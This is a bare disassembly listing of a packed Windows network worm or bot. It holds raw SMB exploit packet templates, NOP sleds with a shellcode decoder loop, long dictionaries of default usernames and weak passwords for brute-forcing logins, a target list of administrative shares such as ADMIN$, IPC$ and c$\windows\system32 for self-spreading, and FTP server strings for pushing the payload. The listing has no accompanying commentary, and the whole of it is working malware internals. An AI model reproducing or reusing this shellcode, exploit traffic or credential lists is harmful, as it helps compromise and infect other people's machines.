50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+216o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 ; DATA XREF: sub_410B52+2C7o dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+348o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 ; DATA XREF: sub_410B52+3DEo dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; DATA XREF: sub_410B52+285o ; sub_410B52+29Bo ... dword_41B410 dd 2080Ah, 0 ; DATA XREF: sub_410B52+26Fo dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 align 10h jmp short loc_41B84A ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B852 ; --------------------------------------------------------------------------- loc_41B84A: ; CODE XREF: MEW:0041B840j nop nop db 67h adc eax, 8EB767Ah loc_41B852: ; CODE XREF: MEW:0041B848j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_41B8A1 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B8A1: ; CODE XREF: MEW:0041B897j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41B97E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B986 ; --------------------------------------------------------------------------- loc_41B97E: ; CODE XREF: MEW:0041B974j nop nop db 67h adc eax, 8EB767Ah loc_41B986: ; CODE XREF: MEW:0041B97Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_41B9F6 add [ecx], eax jmp short loc_41B9C6 ; --------------------------------------------------------------------------- align 10h dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_41B9C6: ; CODE XREF: MEW:0041B9BCj nop nop nop nop nop jmp short loc_41B9D5 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B9D5: ; CODE XREF: MEW:0041B9CBj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 7E0h, 4, 0 db 2 dup(0) word_41B9F6 dw 0 ; CODE XREF: MEW:0041B9B8j dd 0D0EC8166h, 7, 129F74h, 0 dd 127D78h, 0 ; --------------------------------------------------------------------------- pusha jmp short loc_41BA16 ; =============== S U B R O U T I N E ======================================= sub_41BA13 proc near ; CODE XREF: MEW:loc_41BA16p pop ebx push ebx retn sub_41BA13 endp ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: MEW:0041BA11j call sub_41BA13 xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_41BA23: ; CODE XREF: MEW:0041BA4Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_41BA23 popa add [ebx+31h], al mov ebp, 7FC77h add [ecx], al inc ebx loc_41BA5A: ; CODE XREF: MEW:0041BA5Cj xor eax, eax ja short loc_41BA5A pop es ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-7FFFBE3Dh], cl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [ebx+eax*8+41h], ah add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [ebx+eax*8+41h], dl add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC ; "c$" dd offset aD ; "d$" ; --------------------------------------------------------------------------- fadd st(2), st inc ecx add al, dl retn 41h ; --------------------------------------------------------------------------- dd offset aDShared ; "d$\\shared" ; --------------------------------------------------------------------------- mov eax, 0AC0041C2h retn 41h ; --------------------------------------------------------------------------- mov al, ds:8C0041C2h retn 41h ; --------------------------------------------------------------------------- dd offset aCWindowsSystem ; "c$\\windows\\system32" ; --------------------------------------------------------------------------- push 600041C2h retn 41h ; --------------------------------------------------------------------------- xor dl, al inc ecx add [eax], ch retn 41h ; --------------------------------------------------------------------------- dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DE00 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" ; --------------------------------------------------------------------------- aam 0C4h inc ecx add al, cl les eax, [ecx+0] rol ah, 41h add [eax-4BFFBE3Ch], bh les eax, [ecx+0] sbb al, 0C2h inc ecx add [eax], bl retn 41h ; --------------------------------------------------------------------------- adc al, 0C2h inc ecx add [eax], cl retn 41h ; --------------------------------------------------------------------------- cld rol dword ptr [ecx+0], 0F4h rol dword ptr [ecx+0], 0F0h rol dword ptr [ecx+0], 0E4h rol dword ptr [ecx+0], 0DCh rol dword ptr [ecx+0], 0D8h rol dword ptr [ecx+0], 0D4h rol dword ptr [ecx+0], 0D0h rol dword ptr [ecx+0], 0CCh rol dword ptr [ecx+0], 0C8h rol dword ptr [ecx+0], 0C0h rol dword ptr [ecx+0], 0B8h rol dword ptr [ecx+0], 0B0h rol dword ptr [ecx+0], 0A8h rol dword ptr [ecx+0], 9Ch rol dword ptr [ecx+0], 90h rol dword ptr [ecx+0], 84h rol dword ptr [ecx+0], 7Ch rol dword ptr [ecx+0], 70h rol dword ptr [ecx+0], 68h rol dword ptr [ecx+0], 60h rol dword ptr [ecx+0], 50h xchg eax, edx inc ecx add [eax-3Fh], bl inc ecx add [eax+44004198h], dl xchg eax, edx inc ecx add [eax-3Fh], dl inc ecx add [eax-3Fh], cl inc ecx add [eax-3Fh], al inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], bh inc ecx add [eax+eax*8+41h], ch add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-40h], ah inc ecx add [eax-40h], bl inc ecx add [eax-40h], dl inc ecx add [eax-40h], cl inc ecx add al, dh rol byte ptr [ecx+0], 88h retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], al inc ecx add [eax], bh rol byte ptr [ecx+0], 30h rol byte ptr [ecx+0], 28h rol byte ptr [ecx+0], 80h retn ; --------------------------------------------------------------------------- inc ecx add [eax+eax*8], bl inc ecx add [eax+eax*8], cl inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [eax+eax*8], al inc ecx add al, bh mov edi, 0BFE80041h inc ecx add [ebx+eax*8+41h], ah add ah, dl mov edi, 0BFD00041h inc ecx add ah, cl mov edi, 0BFC40041h inc ecx add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [eax-5BFFBE41h], dh mov edi, 0C3540041h inc ecx add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax-67FFBE41h], ah mov edi, 0BF940041h inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [edi+edi*4-407BFFBFh], cl inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 aBlank db 'blank',0 align 4 aXp_0 db 'xp',0 align 4 aNokia db 'nokia',0 align 10h aHp db 'hp',0 align 4 aOrainstall db 'orainstall',0 align 10h aSqlpassoainsta db 'sqlpassoainstall',0 align 4 aDb1234 db 'db1234',0 align 4 aDb2 db 'db2',0 aDb1 db 'db1',0 aDatabasepasswo db 'databasepassword',0 align 4 aDatabasepass db 'databasepass',0 align 4 aDbpassword db 'dbpassword',0 align 4 aDbpass db 'dbpass',0 align 4 aDomainpassword db 'domainpassword',0 align 4 aDomainpass db 'domainpass',0 align 4 aHello db 'hello',0 align 10h aHell db 'hell',0 align 4 aLove db 'love',0 align 10h aMoney db 'money',0 align 4 aSlut db 'slut',0 align 10h aBitch db 'bitch',0 align 4 aFuck db 'fuck',0 align 10h aExchange db 'exchange',0 align 4 aLoginpass db 'loginpass',0 align 4 aLogin db 'login',0 align 10h aQwe db 'qwe',0 ; DATA XREF: MEW:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: MEW:0041BE48o aAsd db 'asd',0 ; DATA XREF: MEW:0041BE44o aQaz db 'qaz',0 ; DATA XREF: MEW:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: MEW:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: MEW:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: MEW:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: MEW:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: MEW:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: MEW:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: MEW:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: MEW:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: MEW:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: MEW:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: MEW:0041BE00o aSex db 'sex',0 ; DATA XREF: MEW:0041BDFCo aOutlook db 'outlook',0 ; DATA XREF: MEW:0041BDECo aMail db 'mail',0 ; DATA XREF: MEW:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: MEW:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: MEW:0041BDE0o aTemp db 'temp',0 ; DATA XREF: MEW:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: MEW:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: MEW:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: MEW:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: MEW:0041BDB4o align 10h aTest db 'test',0 align 4 a2005 db '2005',0 align 10h a2004 db '2004',0 align 4 a2001 db '2001',0 align 10h aSecret db 'secret',0 align 4 aPayday db 'payday',0 align 10h aDeadline db 'deadline',0 align 4 aWork db 'work',0 align 4 a1234567890 db '1234567890',0 align 10h a123456789 db '123456789',0 align 4 a12345678 db '12345678',0 align 4 a1234567 db '1234567',0 a123456 db '123456',0 align 4 a12345 db '12345',0 align 10h a1234 db '1234',0 align 4 a123 db '123',0 a12 db '12',0 align 10h a1: unicode 0, <1>,0 a007 db '007',0 aPwd db 'pwd',0 aPass db 'pass',0 align 4 aPass1234 db 'pass1234',0 align 10h aDba db 'dba',0 aPasswd db 'passwd',0 align 4 aPassword db 'password',0 ; DATA XREF: MEW:0041D768o align 4 aPassword1 db 'password1',0 align 4 aAbc db 'abc',0 aAb db 'ab',0 align 4 aA_0: unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: MEW:0041BD04o align 4 aPrint db 'print$',0 align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 aAdmin_0 db 'admin$',0 align 4 aAdminSystem32 db 'Admin$\system32',0 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: MEW:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 align 10h aCWindows db 'c$\windows',0 align 4 aCWinnt db 'c$\winnt',0 align 4 aEShared db 'e$\shared',0 align 4 aDShared db 'd$\shared',0 ; DATA XREF: MEW:0041BCDCo align 10h aCShared db 'c$\shared',0 align 4 aE db 'e$',0 align 10h aD db 'd$',0 ; DATA XREF: MEW:0041BCD0o align 4 aC db 'c$',0 ; DATA XREF: MEW:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: MEW:0041BCC4o ; MEW:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: MEW:0041BCC0o ; MEW:0041BF78o aOwner db 'owner',0 align 10h aStudent db 'student',0 ; DATA XREF: MEW:0041BCB8o ; MEW:0041BF70o aIntranet db 'intranet',0 align 4 aLan_0 db 'lan',0 aMain db 'main',0 ; DATA XREF: MEW:00416ACAo ; MEW:00416AECo align 10h aOffice db 'office',0 align 4 aControl db 'control',0 aSiemens db 'siemens',0 aCompaq db 'compaq',0 align 10h aDell db 'dell',0 align 4 aCisco db 'cisco',0 align 10h aIbm db 'ibm',0 aOracle db 'oracle',0 align 4 aSql db 'sql',0 aSa db 'sa',0 align 4 aData db 'data',0 align 4 aAccess db 'access',0 align 4 aDatabase db 'database',0 align 10h aDomain db 'domain',0 align 4 aGod db 'god',0 aBackup db 'backup',0 align 4 aTechnical db 'technical',0 align 10h aMary db 'mary',0 align 4 aKatie db 'katie',0 align 10h aKate db 'kate',0 align 4 aGeorge db 'george',0 align 10h aEric db 'eric',0 align 4 aNone db 'none',0 align 10h aGuest db 'guest',0 align 4 aChris db 'chris',0 align 10h aIan db 'ian',0 aNeil db 'neil',0 align 4 aLee db 'lee',0 aBrian db 'brian',0 align 4 aSusan db 'susan',0 align 10h aSue db 'sue',0 ; DATA XREF: MEW:0041BC24o ; MEW:0041BE78o aSam db 'sam',0 ; DATA XREF: MEW:0041BC20o ; MEW:0041BE74o aLuke db 'luke',0 ; DATA XREF: MEW:0041BC1Co ; MEW:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: MEW:0041BC18o ; MEW:0041BE6Co align 4 aJohn db 'john',0 ; DATA XREF: MEW:0041BC14o ; MEW:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: MEW:0041BC10o ; MEW:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: MEW:0041BC0Co ; MEW:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: MEW:0041BC08o ; MEW:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: MEW:0041BC04o ; MEW:0041BE58o aJen db 'jen',0 ; DATA XREF: MEW:0041BC00o ; MEW:0041BE54o aBob db 'bob',0 ; DATA XREF: MEW:0041BBFCo ; MEW:0041BE50o aWwwadmin db 'wwwadmin',0 ; DATA XREF: MEW:0041BBF8o ; MEW:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: MEW:0041BBF4o ; MEW:0041BE1Co aUser db 'user',0 ; DATA XREF: MEW:0041BBF0o ; MEW:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: MEW:0041BBECo ; MEW:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: MEW:0041BBE8o ; MEW:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: MEW:0041BBE4o ; MEW:0041BDF8o align 10h aWww db 'www',0 ; DATA XREF: MEW:0041BBE0o ; MEW:0041BDF4o aWeb db 'web',0 ; DATA XREF: MEW:0041BBDCo ; MEW:0041BDF0o aRoot db 'root',0 ; DATA XREF: MEW:0041BBD8o ; MEW:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: MEW:0041BBD4o ; MEW:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: MEW:0041BBCCo ; MEW:0041BDC0o align 10h aUnix db 'unix',0 ; DATA XREF: MEW:0041BBC8o ; MEW:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: MEW:0041BBC4o ; MEW:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: MEW:0041BBC0o aAdmin db 'admin',0 ; DATA XREF: MEW:0041BBBCo align 10h aAdmins db 'admins',0 ; DATA XREF: MEW:0041BBB8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: MEW:0041BBB4o aAdministrateur db 'administrateur',0 ; DATA XREF: MEW:0041BBB0o align 4 aAdministrador db 'administrador',0 ; DATA XREF: MEW:0041BBACo ; MEW:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: MEW:0041BBA8o ; MEW:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o dword_41C514 dd 1471A0h ; DATA XREF: sub_41113B+834r align 10h unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o dword_41C54C dd 16BF48h ; DATA XREF: sub_41113B+73Er dd 2 dup(0) dword_41C558 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_41113B+6F7o ; sub_41113B+7AAo aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o ; sub_41113B+751o dword_41C5DC dd 1192A0h ; DATA XREF: sub_41113B+5B4r dd 2 dup(0) dword_41C5E8 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_41113B+56Do dword_41C5F4 dd 9AAA8h ; DATA XREF: sub_41113B+4EDr align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o align 4 dword_41C614 dd 10E3A0h ; DATA XREF: sub_41113B+3EAr align 10h dword_41C620 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_41113B+3A3o dword_41C628 dd 123230h ; DATA XREF: sub_41113B+394r dd 2 dup(0) dword_41C634 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_41113B+34Do ; sub_41113B+4A6o dword_41C63C dd 949E8h ; DATA XREF: sub_41113B+33Er dd 2 dup(0) dword_41C648 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_41113B+2F7o dword_41C654 dd 238A0h ; DATA XREF: sub_41113B+2E8r dd 0 dword_41C65C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_41113B+2A1o dword_41C664 dd 0B3160h ; DATA XREF: sub_41113B+292r align 10h dword_41C670 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_41113B+24Bo dword_41C678 dd 9B2A0h ; DATA XREF: sub_41113B+23Cr dd 2 dup(0) dword_41C684 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_41113B+1E1o dword_41C68C dd 1230E8h ; DATA XREF: sub_41113B+1C8r dd 2 dup(0) dword_41C698 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_41113B+181o dword_41C6A0 dd 128588h ; DATA XREF: sub_41113B+16Br dd 2 dup(0) dword_41C6AC dd 0A0D20h ; DATA XREF: sub_41113B+E9o ; 